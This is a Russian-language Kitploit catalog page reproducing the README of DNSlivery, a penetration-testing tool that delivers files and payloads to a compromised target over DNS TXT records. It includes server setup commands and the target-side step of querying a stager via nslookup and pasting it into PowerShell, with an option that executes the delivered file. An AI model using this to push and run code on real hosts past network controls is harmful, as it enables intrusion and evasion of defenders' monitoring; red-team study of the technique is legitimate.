Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DNSlivery — Лёгкая доставка файлов и полезных нагрузок через DNS | Kitploit
Инструменты/GitHubGitHub/samybaiwir/dnslivery
Эксфильтрация данныхТестирование на ПроникновениеКомандование и УправлениеRed TeamingАнализ DNS
GitHubsamybaiwir/dnslivery

DNSlivery

Лёгкая доставка файлов и полезных нагрузок через DNS

Репозиторий
4267798 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

python-3.7 Known Vulnerabilities

DNSlivery

Простая доставка файлов и полезных нагрузок через DNS.

  • DNSlivery
  • Благодарности
  • Описание
    • Кратко
    • Какую проблему мы решаем?
    • Как это работает?
    • Требования
  • Настройка
    • DNS-зона
    • DNSlivery
  • Использование
    • Сервер
    • Цель

Благодарности

Этот проект изначально был вдохновлён PowerDNS и техническим сегментом Joff Thyer в подкасте Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).

Описание

Кратко

DNSlivery позволяет доставлять файлы на цель, используя DNS в качестве транспортного протокола.

Возможности:

  • позволяет выводить, выполнять или сохранять файлы на цели
  • не требует установки клиента на цель
  • не требует полноценного DNS-сервера

demo-target.git

Какую проблему мы решаем?

Простая доставка файлов и/или полезных нагрузок на скомпрометированную цель, когда классическая веб-доставка невозможна и без необходимости в специализированном клиентском ПО. Это применимо к ограниченным средам, где исходящий веб-трафик запрещён или просто проверяется любопытным веб-прокси.

web-delivery-blocked.png

Хотя уже существуют более полные инструменты DNS-туннелирования (например, dnscat2 и iodine), все они требуют запуска специализированного клиента на цели. Проблема в том, что в таких ограниченных средах, вероятно, нет другого способа доставить клиент, кроме DNS. Другими словами, для построения DNS-канала связи с помощью этих инструментов уже необходимо иметь DNS-канал связи.

Для сравнения, DNSlivery обеспечивает только одностороннюю связь от вашего сервера к цели, но не требует для этого специализированного клиента. Таким образом, если вам нужно построить надёжный двусторонний канал связи через DNS, используйте DNSlivery для доставки клиента более продвинутого инструмента DNS-туннелирования на вашу цель.

Как это работает?

Как и большинство инструментов DNS-туннелирования, DNSlivery использует записи TXT для хранения содержимого файлов в их base64-представлении. Однако для работы ему не требуется настройка полноценного DNS-сервера. Вместо этого он использует библиотеку scapy для прослушивания входящих DNS-пакетов и формирования нужного ответа.

network-process.png

Поскольку большинство файлов не помещаются в одну запись TXT, DNSlivery создаст несколько упорядоченных записей, содержащих base64-чанки файла. Например, на диаграмме выше показана доставка 42го чанка файла с именем file.

Чтобы получить все base64-чанки и собрать их обратно без необходимости в специализированном клиенте на цели, DNSlivery сгенерирует для каждого файла:

  • простой загрузчик в открытом виде
  • надёжный stager, закодированный в base64

two-stages-delivery.png

Этот двухэтапный процесс доставки необходим для добавления функций в stager (например, обработки потерянных DNS-ответов), которые в противном случае не поместились бы в одну запись TXT.

Примечание о совместимости с целями

В настоящее время поддерживаются только цели на PowerShell. Однако DNSlivery можно улучшить для поддержки дополнительных целей, таких как bash или python. Пожалуйста, сообщите мне @no0be, если вы хотели бы увидеть реализацию этой функции.

Требования

DNSlivery не требует создания сложной серверной инфраструктуры. На самом деле есть только два простых требования:

  • возможность создать запись NS в вашей публичной DNS-зоне
  • наличие Linux-сервера, способного принимать трафик udp/53 из Интернета

Настройка

DNS-зона

Первый шаг — делегировать поддомен серверу, который будет запускать DNSlivery, создав новую запись NS в вашем домене. Например, я создал следующую запись для делегирования поддомена dnsd.no0.be серверу на vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Если ваша зона управляется сторонним провайдером, обратитесь к его документации для создания записи NS.

DNSlivery

Единственные требования для запуска DNSlivery — это python3 и его библиотека scapy.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Использование

Сервер

DNSlivery будет обслуживать все файлы из указанной директории (по умолчанию pwd) и должен запускаться с правами root для прослушивания входящих пакетов udp/53.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Пример:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Примечание о нормализации имён файлов

Поскольку набор символов, допустимых для доменных имён, гораздо более ограничен, чем для имён файлов UNIX (согласно RFC1035), DNSlivery выполнит нормализацию при необходимости.

Пример:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Имейте в виду, что текущий код нормализации не идеален, так как он не учитывает пересекающиеся имена файлов или ограничение размера.

Цель

На цели начните с получения загрузчика нужного файла, запросив его выделенную запись TXT. Поддерживаются следующие три загрузчика:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

Затем просто скопируйте и вставьте загрузчик, указанный в DNS-ответе, в консоль PowerShell, чтобы получить файл на цели.

Пример:

demo-target.git

Скачать инструмент
ДействиеЗагрузчикОписание
Вывод[filename].print.[domain](По умолчанию) Вывести доставленный файл в консоль
Выполнить[filename].exec.[domain]Выполнить доставленный файл (полезно для скриптов)
Сохранить[filename].save.[domain]Сохранить доставленный файл на диск (полезно для бинарников)